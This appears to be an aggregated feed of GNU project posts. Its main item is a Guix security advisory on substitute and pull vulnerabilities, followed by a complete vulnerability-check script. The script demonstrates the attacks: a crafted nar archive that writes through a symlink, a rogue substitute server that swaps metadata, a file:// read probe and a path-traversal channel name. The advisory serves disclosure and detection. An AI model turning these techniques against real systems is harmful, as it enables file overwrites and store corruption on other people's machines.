Damien Zammit worked on tweaking the Hurd’s WIP CI. He also fixed several bugs to make it possible to run the Hurd’s test suite from GNU/Linux running on an AArch64 computer. He also is working on integrating qemu’s Hurd support into upstream qemu’s CI, so that the support does not bitrot.

Sophiel Zhou fixed a tiny pfinet permission checking issue and taught pfinet to not fail under memory pressure:

This series fixes two latent crash bugs in pfinet where mmap
return values go unchecked, may causing crash when memory is tight.

Both bugs follow the same pattern: mmap is called to grow a buffer,
but the returned pointer is dereferenced before (or without) checking
for MAP_FAILED.  Under normal operation mmap rarely fails, so these
have gone unnoticed, but under address-space pressure pfinet would
crash.

‘guix substitute’ and ‘guix pull’ Vulnerabilities

2026-07-02T17:00:00+00:00

Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by guix-daemon, which enable a variety of harmful activities including remote privilege escalation to the build daemon user, remote store corruption, and potentially local disclosure of sensitive files accessible to the build daemon user. All systems are affected, whether or not guix-daemon is running with root privileges; the harm that can be done when guix-daemon runs without root privileges is more limited. You are strongly advised to upgrade your daemon now (see instructions below), carefully considering whether to pass --no-substitutes to all guix commands when you do so (see note in Upgrading section).

The remote exploitation of guix substitute only requires that the vulnerable system attempt to download a binary substitute. Any configured substitute server, including ones discovered using guix-daemon's --discover option, can exploit this, and so can a man-in-the-middle (MITM), regardless of whether https is used in the substitute server urls.

The local exploitation of guix substitute only requires the ability to connect to guix-daemon's socket, which by default any user can do.

Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels file used by these commands to cause a file to be created or overwritten wherever the user running the command in question has permission to create them. This is possible regardless of whether the channels file is evaluated in a sandbox and whether the channels used are limited to those sharing an introduction with a trusted channel. Due to limitations on the content of the created or overwritten file, this primarily represents a denial-of-service risk, though in theory it could do more.

Update 2026-07-06: if you are using the unprivileged guix-daemon, as is the default on distros other than Guix System since version 1.5.0, and if you updated it between July 2nd and July 5th, you've probably been affected by this regression preventing substitutes from working. It is now fixed, but if you are stuck trying to upgrade, try passing --no-substitutes. If you can't reasonably upgrade without substitutes, you can either take your chances downgrading to the vulnerable guix-daemon and using it or try tinystar's workaround (doesn't apply to Guix on distributions other than Guix System).

Vulnerabilities

Three distinct vulnerabilities have been identified affecting guix substitute, with a fourth affecting guix pull and guix time-machine:

(CVE assignment pending) The procedure that Guile code uses to unpack substitutes, restore-file in (guix serialization), was not hardened against malicious input, but it was called to extract the substitute being downloaded as it was being downloaded, rather than waiting until after the entire archive had been obtained and its hash had been verified. These facts together make it possible for any substitute server (or any entity that can impersonate one) to write arbitrary files to any place on an affected system that the daemon user has permission to write to. In the case of the daemon running as root, that includes /etc/passwd.
To avoid depending on the X.509 Public Key Infrastructure, the procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos, does not verify server certificates, since the canonical parts of narinfos need to be signed anyway to be considered valid. Unfortunately the substitute URL is not one such canonical part, and so it can be replaced with an attacker-controlled URL. If the substitute downloaded doesn't match the signed hash in the narinfo, it will be rejected, but by then it is too late: the substitute was extracted as it was being downloaded, so the damage is already done.
This means that even though download-nar, the procedure responsible for actually downloading the substitute, does itself verify server certificates, using https in substitute server urls cannot limit who can exploit this, as the certificate only needs to be appropriate for the attacker-controlled URL.
restore-file is also used by other utilities, including guix offload, guix archive --extract, and guix challenge. These can all be exploited in the same way if untrusted input is given to them.
(CVE assignment pending) The procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos in (guix substitutes), does not verify that the narinfo it got is the one it asked for, nor do any of its callers in (guix scripts substitute). Consequently, it is possible for a substitute server (or anyone who can impersonate one) to trick guix substitute into using any store item for which there is an authorized substitute as a substitute for any other store item for which there is an authorized substitute. The complete extent of harm that can be caused by this depends in part on what store items an authorized substitute server has signed or can be convinced to sign, but at minimum this can be used to cause outdated and insecure versions of software to be used.
(CVE assignment pending) The implementation of guix substitute in (guix scripts substitute) permits file:// URIs to be used both for specifying substitute server URIs (where to look for narinfos) and for specifying within narinfos where to download the corresponding archive from. It does not distinguish between --substitute-urls passed on the guix-daemon command line and --substitute-urls passed on the guix command line (client-side), with the latter taking precedence over the former. Opening of these file:// URIs follows symbolic links. Consequently, an untrusted client may cause any file that the daemon can read to be read. If a given line of it doesn't look like a valid narinfo line (it uses recutils format), guix substitute may throw an exception, causing a backtrace containing that line to be passed through to the client. So, for example, a file containing a single line containing only a secret passphrase may have its contents revealed to any local user if the daemon user can read it.
Additionally, when a file:// URI is used as the URI of a nar to download, it may be written to the store if it happens to be a valid nar ("normalized archive") as used by Guix and Nix. This is unlikely, though.
In addition to possibly causing secrets to be disclosed, this can also be used to interfere with the reading of any file being read by any process that the daemon user could trace, through the use of files in /proc/PID/fd.
(CVE assignment pending) The procedure which guix pull and guix time-machine use to authenticate channels, authenticate-channel in (guix channels), passed a cache key derived from the channel name to authenticate-repository in (guix git-authenticate). This cache key was used to determine a filename for storing previously-authenticated commit IDs in. If the channel name was of the form "../../../../newfile", it could have caused "newfile" to be created in the user's home directory. It may also have overwritten "newfile" if it already existed, but only if it already looked like a Scheme-syntax list of strings, since the contents would have to have first been read and processed before new contents would have been written.
In the event that a write is performed, the output will only include a Scheme-syntax comment, newline, and list of hexadecimal strings corresponding to git commit identifiers. This makes it difficult to use for a practical attack other than a denial-of-service, but note that since it can target files in /proc, a sufficiently creative and informed attacker may be able to exploit this further.
Realistically, this vulnerability can only be exploited when fetching remote channel files with the newly-added mechanism for doing so.

Mitigation

Vulnerabilities (1) and (2) can be mitigated against remote attackers by not using substitutes, either by passing --no-substitutes to guix-daemon or passing --no-substitutes to all guix commands. It's always possible to turn substitutes back on for an individual client, though, so this doesn't work to defend against a local attacker exploiting (1), (2), or (3), which cannot be mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by not running guix pull or guix time-machine with an untrusted channels file.

A test for the presence of these vulnerabilities is available at the end of this post. One can run this code with:

guix repl -- guix-substitute-and-pull-vuln-check.scm

This will finish with a sequence of 4 lines, beginning with restore-file, fetch-narinfos, file-uris, and cache-key respectively, each followed by a colon, a space, and either vulnerable or not vulnerable depending on whether the running guix-daemon has the indicated vulnerability or not. If all 4 lines contain not vulnerable, then guix repl will exit with status code 0, otherwise it will exit with status code 1.

Some of the tests can fail to produce a result in some cases. In this case the output following the test name will start with error:. A test that fails to produce a result should be regarded as inconclusive.

The restore-file and fetch-narinfos tests may fail to produce a result if no substitutes are authorized, or if no authorized substitutes for the current guix's cfunge, hello, or sed packages can be accessed through any of the configured substitute urls. The restore-file test may fail to produce a result if cfunge is reachable from some garbage collection root, such as a profile. The cache-key test may fail to produce a result if network access to codeberg to fetch a small portion of the history of the guix-science channel is not available, which can be worked around by editing the script's definition of guix-science-url to be any URL (or a filename) at which a copy of the guix-science repository can be found.

Fixes

These security issues have been fixed by a series of 11 commits, starting with ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17 and ending with 2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc as part of pull request #9665. Users should make sure they have upgraded to commit 897832f374dcdc9eeaf19d01e70b9a92fccfc68c or any later commit to be protected from these vulnerabilities. Upgrade instructions are in the following section.

Fixing vulnerability (1) involved hardening restore-file so that it detects and rejects invalid directory entry names. Specifically, entry names must be unique, in strictly ascending order, not empty, not equal to "." or "..", and not containing "/" or null bytes. Additionally, procedures currently used as the #:dump-file argument to restore-file were modified to insist on creating the target file afresh and never follow symbolic links.

The inspiration for that last change came from looking at the implementation of nar-parsing in parse in nix/libutil/archive.cc, where it was determined that that implementation was not vulnerable, but was about as close to vulnerable as it could get without actually being vulnerable, only barely being saved by the fact that the filesystem primitives used all refused to follow symbolic links or accept an existing target (see this commit message for details). To avoid wasting another 3 hours trying to determine this the next time anyone tries looking at it with a critical eye, that implementation was also rewritten to be stricter and more obviously secure. It is perhaps not surprising that the same code led to CVE-2024-45593 in Nix when it was modified to use more lax filesystem primitives from std::filesystem.

Fixing vulnerability (2) involved modifying fetch-narinfos to not include a result if it didn't match what was asked for.

Fixing vulnerability (3) involved modifying (guix scripts substitute) to verify that all substitute urls from untrusted sources are not file:// urls, and that all nar urls in narinfos are not file:// urls (except when a special flag is set, which is only done in the test suite).

Some additional hardening was also done, so that substitutes are restored inside a temporary directory and only moved to their final store item path once the hash is verified. This still restores them before verifying the hash, so it wouldn't have prevented (1), but it does ensure that attacker-controlled contents are not present at the path of what may have once been a valid store item (and may still be considered by some users or programs to be valid if they haven't taken note of a recent garbage collection). The narinfo-reading code was also modified to reject as invalid any narinfo file whose StorePath, References, or Deriver field contained a path that did not obey the store item path syntax requirements. A nice side-effect of this is that we now have procedures for verifying the syntax of store item paths.

Fixing vulnerability (4) involved changing how cache-key was computed by default for users of authenticate-repository. Rather than being derived from the name of the channel or (for guix git authenticate) the url of the repository, cache-key is now derived from the ID of the introductory commit, which is a very safe hexadecimal string. This also avoids some strange and potentially-dangerous behavior in which cached authenticated commit IDs could be shared between two channels that happen to share a name but are otherwise completely different. Additional hardening of authenticate-repository was added to turn all occurrences of . in cache-key into - so that even if non-default cache keys were provided, it would not be possible to escape the cache directory.

Upgrading

Due to the severity of this security advisory, we strongly recommend all users to upgrade guix and guix-daemon immediately.

Note: The astute reader may have noticed a dilemma: the fastest way to get updates is through substitutes, and the way to mitigate the most severe of the remotely-exploitable vulnerabilities is to disable substitutes. Whether to pass --no-substitutes is therefore a judgment call that must take into consideration how long it has been since these vulnerabilities were made public, how exposed the network paths between your system and your substitute servers are, how feasible it is for the system in question to build guix by itself (which will depend in part on how long it has been since you last upgraded), whether the system in question has multiple users, and of course, your threat model.

For Guix System, the procedure is to reconfigure the system after a guix pull, either restarting guix-daemon or rebooting. For example:

guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice.

For Guix on another distribution, one needs to guix pull with sudo, as the guix-daemon runs as root, and restart the guix-daemon service, as documented. For example, on a system using systemd to manage services, run:

sudo --login guix pull
sudo systemctl restart guix-daemon.service

Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.

Timeline

May 28th, 2026. Jörg Thalheim of Nix shares the restore-file vulnerability with Christopher Baines and Andreas Enge; Christopher sends details to the Security Response Team.
June 4th, 2026. Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who start working on a fix.
June 10th, 2026. Caleb Ristvedt finds the file:// vulnerability of guix substitute.
June 22nd, 2026. Caleb Ristvedt finds the third vulnerability: that guix substitute did not verify whether the narinfo it is getting is the one it asked for.
June 24th, 2026. Following an issue reported by Sergio Pastor-Pérez, Ludovic Courtès identifies the pull and time-machine vulnerability and works on a fix. For the sake of convenience and because hints were available publicly, it was decided that it should be promptly fixed and disclosed at the same time as the other vulnerabilities.

Conclusion

We would like to thank Jörg Thalheim for sharing the restore-file vulnerability, Christopher Baines for verifying it and informing the Security Response Team, and Andreas Enge for ensuring that it reached Ludovic and Caleb and facilitating ongoing communication with Jörg.

We would also like to thank John Kehayias of the Security Response Team for coordination and for requesting CVE IDs.

Test for presence of vulnerability

Below is code to check if your guix-daemon is vulnerable to the first three vulnerabilities and your guix is vulnerable to the fourth. Save this file as guix-substitute-and-pull-vuln-check.scm and run following the instructions above, in "Mitigation."

(use-modules (git)
             (guix build utils)
             (guix derivations)
             (guix channels)
             (guix config)
             (guix gexp)
             (guix git)
             (guix narinfo)
             (guix packages)
             (guix pki)
             (guix utils)
             (guix serialization)
             (guix store)
             (guix substitutes)
             ((gnu packages base) #:hide (which))
             (gnu packages esolangs)
             (srfi srfi-1)
             (srfi srfi-26)
             (srfi srfi-31)
             (srfi srfi-34)
             (rnrs bytevectors)
             (ice-9 atomic)
             (ice-9 binary-ports)
             (ice-9 control)
             (ice-9 match)
             (ice-9 popen)
             (ice-9 rdelim)
             (ice-9 textual-ports)
             (ice-9 threads)
             (web response)
             (web request)
             (web uri)
             (web server)
             (web server http))

;; 1. restore-file

;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path.  Have http
;; server serve the signed narinfo with the URLs replaced with its own.  When
;; the nar is requested, serve the invalid nar.  Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents.  We're vulnerable if and only if it does.

(define target-file
  "/tmp/guix-restore-file-vulnerable")

(define target-substitutable-package
  ;; pick something obscure but in the main guix channel, so it is either not
  ;; currently valid or can probably be gc'ed.  This is just to make the test
  ;; more reliable - in real exploitation, an attacker can sit around and wait
  ;; for any substitute request to be made, but here we need to provoke one in
  ;; a timely manner.
  cfunge)

(define substitute-servers
  (with-store store
    (substitute-urls store)))

;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)

(define (package->path+narinfo store package)
  (define path
    (derivation->output-path (run-with-store store (lower-object package))))

  (match (lookup-narinfos/diverse substitute-servers (list path)
                                  valid-narinfo?)
    ((info) (values path info))
    (() (values #f #f))))

(define (restore-file-vuln?)
  (define-values (target-path target-info)
    (call-with-values (lambda ()
                        (with-store store
                          
                          (package->path+narinfo store
                                                 target-substitutable-package)))
      (lambda (path info)
        (unless info
          (error "can't find substitutable path to test 'restore-file' with\n"))
        (with-store store
          (when (valid-path? store path)
            (when (null? (delete-paths store (list path)))
              (error "can't delete substitutable path to test 'restore-file' with\n"))))
        (values path info))))

  (define new-target-info-contents
    (let* ((contents (narinfo-contents target-info))
           (signature-index (string-contains contents "Signature:"))
           (after-signature-index (string-index contents #\newline
                                                signature-index))
           (signed-contents (string-take contents (or after-signature-index
                                                      (string-length
                                                       contents)))))
      (string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))

  ;; We can't delete target-file if it's owned by root, so overwrite it with
  ;; fresh, mostly-random contents each time, and check that the contents match.
  (define test-contents
    (format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))

  (define test-nar
    (call-with-output-bytevector
     (lambda (port)
       (for-each (lambda (s)
                   (write-string s port))
                 `("nix-archive-1"
                   "(" "type" "directory"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "symlink"
                   "target" ,target-file ")" ")"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "regular"
                   "contents" ,test-contents  ")" ")"
                   ")")))))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define target-uri-path
    (string-append "/" (store-path-hash-part target-path) ".narinfo"))

  (define nar-uri-path "/example.nar")

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) target-uri-path)
      (format (current-error-port)
              "Returning narinfo pointing to test nar~%")
      (values (build-response #:code 200)
              new-target-info-contents))
     ((string=? (uri-path (request-uri request)) nar-uri-path)
      (format (current-error-port) "Returning test nar~%")
      (values (build-response #:code 200)
              test-nar))
     (else
      (values bad-request ""))))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (guard (c ((store-error? c)
                     ;; XXX doesn't actually cancel until something tries
                     ;; connecting
                     (cancel-thread server-thread)
                     ;;(join-thread server-thread)
                     (and (file-exists? target-file)
                          (string=? (call-with-input-file target-file
                                      get-string-all)
                                    test-contents))))
            (build-things store (list target-path))
            ;; If the substitution actually completes without throwing then we
            ;; are most definitely vulnerable, but not just in 'restore-path'.
            (error "!!!substitution of invalid nar completed???!!!")))))))



;; 2. fetch-narinfos

;; Identify two substitutable paths P1 and P2.  Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable.  Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's.  If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.

;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.

(define (fetch-narinfos-vuln?)
  (define-values (hello-path hello-info)
    (with-store store (package->path+narinfo store hello)))

  (define-values (sed-path sed-info)
    (with-store store (package->path+narinfo store sed)))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define hello-uri-path
    (string-append "/" (store-path-hash-part hello-path) ".narinfo"))

  (define sed-uri-path
    (string-append "/" (store-path-hash-part sed-path) ".narinfo"))

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) hello-uri-path)
      (format (current-error-port) "Returning sed when asked for hello~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents sed-info)))
     ((string=? (uri-path (request-uri request)) sed-uri-path)
      (format (current-error-port) "Returning hello when asked for sed~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents hello-info)))
     (else
      (values bad-request ""))))

  (unless (and hello-info sed-info)
    (error "can't find substitutable paths to test 'fetch-narinfos' with"))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (let ((substitutables
                 (substitutable-paths store (list hello-path sed-path))))
            ;; XXX doesn't actually cancel until something tries connecting
            (cancel-thread server-thread)
            ;;(join-thread server-thread)
            (not (null? substitutables))))))))

;; 3. file-uris

;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable.  It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.

(define (file-uris-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (define testfifo
       (string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
     (define opened? (make-atomic-box #f))
     (define store-item
       (string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))

     (define open-thread
       (begin
         (mknod testfifo 'fifo #o744 0)
         (call-with-new-thread
          (lambda ()
            (call-with-port (open testfifo O_WRONLY)
              (lambda (port)
                (atomic-box-set! opened? #t))))))) 

     (with-store store
       (set-build-options store
                          #:substitute-urls (list (string-append "file://" directory)))
       (guard (c ((store-error? c)
                  (cancel-thread open-thread)
                  (delete-file testfifo)
                  ;; even though the file it is trying to open no longer
                  ;; exists, the kernel doesn't give a result to open-thread
                  ;; until someone ptraces it (or maybe sends a signal or
                  ;; something).
                  ;; (join-thread open-thread)
                  (atomic-box-ref opened?)))
         (substitutable-paths store (list store-item))
         (error "not supposed to get here!\n"))))))

;; 4. cache-key

;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.

;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
  "https://codeberg.org/guix-science/guix-science.git")

(define (create-test-channel directory channel-name)
  "Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
  (define intro-commit
    "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")

  (define end-commit ;; The commit following intro-commit
    "5a2d9baeda971df575c017669bca8eb8faa22ebd")

  (define fingerprint
    "CA4F 8CF4 37D7 478F DA05  5FD4 4213 7701 1A37 8446")

  (define git %git) ;; From (guix config), guix has a hard dependency on git

  (with-directory-excursion directory
    (invoke git "init"
            ;; Silence warning
            "--initial-branch=main")
    (invoke git "remote" "add" "--" "origin" guix-science-url)
    (invoke git "fetch" "--" "origin" end-commit)
    (invoke git "checkout" "FETCH_HEAD")
    (invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
    (values
     (channel
       (name channel-name)
       (url (canonicalize-path directory))
       (introduction (make-channel-introduction
                      intro-commit
                      (openpgp-fingerprint fingerprint))))
     intro-commit
     end-commit)))

(define (cache-key-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (let ((home (string-append directory "/home"))
           (channel-repo (string-append directory "/channel-repo"))
           (testfile (string-append directory "/testfile")))
       (mkdir home)
       (mkdir channel-repo)
       (with-environment-variables `(("HOME" ,home)
                                     ("XDG_CACHE_HOME" ,(string-append home
                                                                       "/.cache")))
         (call-with-values
             (lambda ()
               (create-test-channel channel-repo
                                    (string->symbol "../../../../../testfile")))
           (lambda (channel first-commit last-commit)
             (authenticate-channel channel channel-repo last-commit
                                   #:keyring-reference-prefix "")))
         (file-exists? testfile))))))

;; Results

(define vulnerabilities
  (list (list "restore-file" restore-file-vuln?)
        (list "fetch-narinfos" fetch-narinfos-vuln?)
        (list "file-uris" file-uris-vuln?)
        (list "cache-key" cache-key-vuln?)))

(define (call-with-errors-to-string proc)
  (define tag (make-prompt-tag))
  (call-with-prompt tag
    (lambda ()
      (with-throw-handler #t
        proc
        (rec (self key . args)
             (let* ((stack (make-stack #t
                                       1 ;self ;; Causes make-stack to return #f??
                                       tag
                                       ))
                    (frames (stack-length stack))
                    (frame (stack-ref stack 0)))
               (define error-string
                 (match args
                   (((or (? string? proc) (? symbol? proc))
                     (? string? message) (args ...) . rest)
                    (call-with-output-string
                      (lambda (port)
                        (display-error frame port proc message args
                                       rest))))
                   (args
                    (call-with-output-string
                      (lambda (port)
                        (print-exception port frame key args))))))

               (display-backtrace stack (current-error-port))
               (display error-string (current-error-port))
               (abort-to-prompt tag (string-append "error: "
                                                   (string-trim-both
                                                    error-string)))))))
    (lambda (_ . args)
      (apply values args))))

(define results
  (map (match-lambda
         ((name proc)
          (list name (if (string? proc)
                         proc ;; pass message through
                         (call-with-errors-to-string proc)))))
       vulnerabilities))

(for-each (match-lambda
            ((name vulnerable?)
             (format #t "~a: ~a~%"
                     name
                     (if (boolean? vulnerable?)
                         (if vulnerable? "vulnerable" "not vulnerable")
                         vulnerable?))))
          results)

(exit (if (any second results) 1 0))

Unifont 17.0.05 Released

2026-06-28T23:20:59+00:00

28 June 2026 Unifont 17.0.05 is now available. This is a minor release aligned with Unicode 17.0.0.

This release notably includes separate BDF, PCF, and OpenType font files with Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t". Many other Chinese glyphs have been added. See the ChangeLog file for details.

Download this release from GNU server mirrors at:

     https://ftpmirror ... /unifont-17.0.05/

or if that fails,

     https://ftp.gnu.o ... /unifont-17.0.05/

or, as a last resort,

     ftp://ftp.gnu.org ... /unifont-17.0.05/

These files are also available on the unifoundry.com website:

     https://unifoundr ... /unifont-17.0.05/

Font files are in the subdirectory

     https://unifoundr ... 0.05/font-builds/

A more detailed description of font changes is available at

      https://unifoundr ... nifont/index.html

and of utility program changes at

      https://unifoundr ... nt-utilities.html

Information about Hangul modifications is at

      https://unifoundr ... hangul/index.html

and

      http://unifoundry ... l-generation.html

GNU Parallel 20260622 ('Rape Gang Inquiry') released [stable]

2026-06-27T10:24:15+00:00

GNU Parallel 20260622 ('Rape Gang Inquiry') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

GNU Parallel is much nicer than xargs and more powerful ... definitely recommended!
-- boomertsfx@reddit

New in this release:

testsuite reorganized.
Bug fixes and man page updates.

About GNU Parallel

Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparall ... igns/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference

If you use programs that use GNU Parallel for research:

Please cite GNU Parallel in you publications (use --citation)

If GNU Parallel saves you money:

(Have your company) donate to FSF https://my.f ... .org/donate/

About GNU SQL

About GNU Niceload

One year with Codeberg

2026-06-22T14:00:00+00:00

A year ago, Guix migrated to Codeberg for source code hosting, issue tracking, and pull requests. This is a significant change for a project with more than 400 people contributing code each year, after more than decade hosting code at Savannah and dealing with bug reports and patches by email, tracked by a Debbugs instance. This article discusses the process that led to this change and lists some takeaways, a year later.

The non-obvious choice

For years before, the question of our choice of source code hosting and collaboration tools would regularly come up. However, with a community effectively built around the existing tools and workflows, a change to a pull-request workflow was far from obvious—even if many would admit that yes, pull requests are more familiar to many younger hackers than patches and bug reports by email.

Active contributors were efficient with the email workflow—often thanks to Emacs and/or to top-notch email clients—while at the same time being critical of “modern” Web-based forges: after all, Debbugs weighs in at a few hundred lines of Perl, building upon the battle-tested standards and built-in federation of email, whereas a forge like Forgejo is much bigger with hundreds of Go dependencies.

A further complication is that, over time, contributors had built tools around this workflow: mumi would provide a nice web interface to Debbugs and the Quality Assurance service would automatically apply patch series in a Git branch and build packages from that branch—to give the most visible examples. Migrating was all but obvious.

Despite these achievements, dissatisfaction was palpable though, even more so when Steve George (a.k.a. Futurile) published the results of the first user and contributor survey in January 2025, with feedback from no less than 900 people. For contributors who took part in the survey, the email workflow was often mentioned as a hindrance.

Making decisions

As if things were not difficult enough, there was no “benevolent dictator” that the project could rely on to make a sharp decision. Instead, in December 2024, the project adopted a process for collective decision-making: the Guix Consensus Document (GCD) process. The process is ambitious: instead of merely asking “project members” (a concept that needs to be properly defined!) to vote on proposals, authors of proposals are expected to work with everyone to build consensus on the proposal; participants cannot merely “oppose” a proposal but should instead express their needs and suggest concrete changes to address them. At the end of the process, participants can “support”, “accept”, or “disapprove” the final revision of the proposal.

It is too early to tell whether the GCD process will stand the test of time—as of this writing seven proposals were submitted through this process, with varying outcomes—but it surely proved to be a good way to work collectively on the forge migration issue, which was the first real-world use of the GCD process.

GCD 002 was submitted in February 2025 as a proposal to migrate to Codeberg for source code hosting and collaboration. The discussion lasted for two months—the maximum duration permitted by the process—with contributions by many people. Two thirds of the Guix team members participated in the deliberation, among which 72% expressed “support” while the remaining 28% merely “accepted” the proposal; nobody “disapproved” it so the proposal came into force in early May 2025.

The discussion showed that many long-time contributors were not comfortable with the idea of moving to a workflow largely perceived as Web-first and inefficient compared to the email workflow. The idea of abandoning part of the infrastructure carefully built around the email workflow over the years was also unappealing. Yet, the prospect of reaching out to a broader community and improving the developer experience for many was probably a driving force that led to this positive outcome.

One thing in the proposal that didn’t trigger much debate though is the preference both for a free-software-based forge and for one hosted by a non-profit, Codeberg e.V. This choice is very much in line with the Guix ethos.

Switchover

As agreed-upon in the GCD, the switch to Codeberg was incremental: the main repository was migrated on May 25th, 2025, with the former repository still available as a mirror today; the former issue and patch tracker was kept active until January 1st, 2026, when Codeberg issues and pull requests became the only supported mechanisms (but older bug reports and patches remain accessible on-line).

Thanks to the planning devised during the consensus-building discussion, there were few hiccups and surprises when we switched. The quality of service achieved by the Codeberg e.V. employees and volunteers has been very good and the occasional downtime was usually short and clearly communicated.

For some of us, the main difficulty was to adapt to the new workflow. For those who prefer a workflow out of the browser, the good news is that Emacs interfaces—fj.el and more recently Emacs-Forgejo—have been getting better everyday thanks to their amazing developers; the ability to create pull requests using the AGit workflow has also helped bring peace and harmony.

The one issue that wasn’t sufficiently anticipated is continuous integration for pull requests. The part of qa.guix.gnu.org that would previously build packages for patches sent by email was not ported to Codeberg. For several months, it was up to reviewers to make sure that pull requests would not break anything—a situation that was not sustainable.

In September 2025, an instance of Cuirass was set up at pulls.ci.guix.gnu.org to finally build pull requests. This was initially seen as a stopgap because of several limitations compared to what qa.guix.gnu.org would previously do—such as the fact that packages now get built for a single architecture. However, one advantage for newcomers is that feedback is immediately visible: Cuirass sends reports indicating success or failure directly in pull requests as guix-cuirass-bot.

Renewed collaboration

One of the intuitions and hope we had when we decided to migrate to Codeberg is that the pull-request workflow and its Web interface would allow us to reach out to a broader set of contributors. How did it go?

A first insight is that the commit rate—measured as the number of commits pushed on the main branch—is a noisy metric that doesn’t reveal much. What we see by looking at the period from May 2024 to May 2026 (so one year before and one year after the migration) essentially shows that the commit rate remained essentially between “high” and “very high”:

(As an aside, where are the tools to plot statistics like this from a Git repository? I found myself hacking something together.)

Looking at contributions is more insightful. The plot below shows the number of monthly commit authors, the number of monthly committers, and the number of new commit authors each month (people who authored a commit for the first time in the Git history) for that same period.

The number of monthly authors, including new authors, keeps growing. There was a peak both in the number of authors and number of newcomers in June 2025, right after the migration to Codeberg, but for the rest growth appears to be comparable in the 2025–2026 half and in the 2024–2025 half. Guix keeps attracting new contributors but there wasn’t a significant “Codeberg effect”.

The slight increase in number of monthly committers compared to the sharper increase in number of authors might suggest that committers are more “productive”, handling more contributions.

